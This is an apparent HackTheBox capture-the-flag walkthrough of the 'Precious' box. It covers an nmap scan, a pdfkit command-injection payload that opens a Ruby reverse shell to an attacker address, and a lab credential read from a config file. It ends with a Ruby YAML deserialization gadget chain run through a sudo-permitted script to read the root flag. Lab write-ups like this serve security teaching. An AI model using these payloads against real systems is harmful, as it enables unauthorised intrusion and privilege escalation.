HackTheBox "Precious"
April 16th, 2023

Introduction
Precious is an easy box released on November 26th, 2022 by Nauten.
User Own
Nmap:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 09:58 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds
There's a website being hosted at http://precious.htb
.

Messing around with the website in Burp Suite reveals the PDFs are being generated with pdfkit 0.8.6
, which is vulnerable. Using this script from Exploit-DB lets us inject commands into the website, giving us a reverse shell in Ruby.
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.xx.xx","1234"))'`
After gaining a reverse shell, we are logged in as ruby
in the directory /var/www/pdfapp
. Checking /home
reveals that ruby
has a home directory.
find /home/ruby -type f
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.cache/gstreamer-1.0/registry.x86_64.bin
/home/ruby/.cache/fontconfig/CACHEDIR.TAG
/home/ruby/.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
/home/ruby/.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
/home/ruby/.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
/home/ruby/.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
/home/ruby/.history.swp
/home/ruby/.bash_logout
/home/ruby/.bashrc
Checking /home/ruby/.bundle/config
reveals henry
's credentials.
cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
These credentials can be used to login to SSH as henry
and get the user.txt
flag.

System Own
henry
has a file called dependencies.yml
.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cat /root/root.txt
method_id: :resolve
It seems this file will cat /root/root.txt
when read, which is what we want.
sudo -l
reveals:
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
/opt
contains:
/opt
/opt/update_dependencies.rb
/opt/sample
/opt/sample/dependencies.yml
update_dependencies.rb
does:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
update_dependencies.rb
grabs dependencies.yml
, but does so relatively. We can run this script as root
and use the dependencies.yml
in henry
's home directory instead of the one in /opt/sample
. This will print out the root.txt
flag.
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
[ROOT FLAG HERE]
Traceback (most recent call last):
... (irrelevant traceback)
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

That's the box completed!

Last updated